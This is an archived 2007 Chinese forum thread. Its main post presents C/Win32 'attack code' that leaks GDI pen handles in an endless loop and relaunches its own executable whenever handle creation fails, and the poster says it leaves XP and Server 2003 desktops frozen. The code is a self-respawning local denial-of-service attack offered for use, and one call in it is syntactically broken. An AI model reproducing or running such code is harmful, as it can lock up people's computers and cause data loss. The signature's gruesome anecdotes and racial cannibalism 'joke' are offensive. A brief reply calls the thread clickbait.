Wappy
普通会员
发贴: 19
积分: 0
来自:
注册日期: 2006-09-01
发表时间: 2007-07-06 16:49:06
--------------------------------------------------------------------------------
耗尽windows GDI资源的攻击代码
2007.04.27 10:22 bruce:
虽然已经是NT时代,不像98那样gdi动不动就满了,满屏大字,但微软NT技术仍然有着gdi的限制,只不过是大了很多,经常出现windows不能创建新窗口。
因此,写了一段代码测试一下xp,2003的极限
没想到,windows还是那么的脆弱。
gdi耗尽后,视窗完全没法动弹,瘫痪了。
nt技术中,限制了每个进程最多10,000个gdi的占用,但不断的创建新进程来消耗gdi,nt就挂了
在2003的多任务下试了,每个远程桌面独立管理gdi互相不影响。
但耗尽了gdi的桌面注销后所有程序进程没法完全退出。
代码如下:
HDC hDC;
HPEN hPen;
PAINTSTRUCT Ps;
hDC = BeginPaint(hWnd, &Ps);
while(TRUE){
hPen = CreatePen(PS_DASHDOTDOT, 1, RGB(255, 25, 5));
if(hPen == NULL)
{
char name[MAX_PATH] = {0};
::GetModuleFileName(NULL, name, MAX_PATH);
::ShellExecute(NULL, _T("open",name,NULL,"",SW_SHOW);
continue;
}
SelectObject(hDC, hPen);
Rectangle(hDC, 1, 1, 2, 2);
//这里不释放gdi句柄hPen
}
<---- 以上言论仅代表本人立场 ---->
__________________
-以前世界军事有文章,前南的,一个女兵被榴弹炮炸上天,因为她穿着厚厚的军大衣,所以尸体没有散架
--一个记者采访过一位前食人族的酋长,他这样评价:
“白人,烤得好的话,味道像熟透了的香蕉!”
Winter_Leaf
普通会员
发贴: 25
积分: 0
来自:
注册日期: 2006-09-18
发表时间: 2007-08-06 15:59:18
--------------------------------------------------------------------------------
骗我进来,没意思。
连飘代闪过了。
<---- 以上言论仅代表本人立场 ---->
__________________
这其实是个变量名. |
|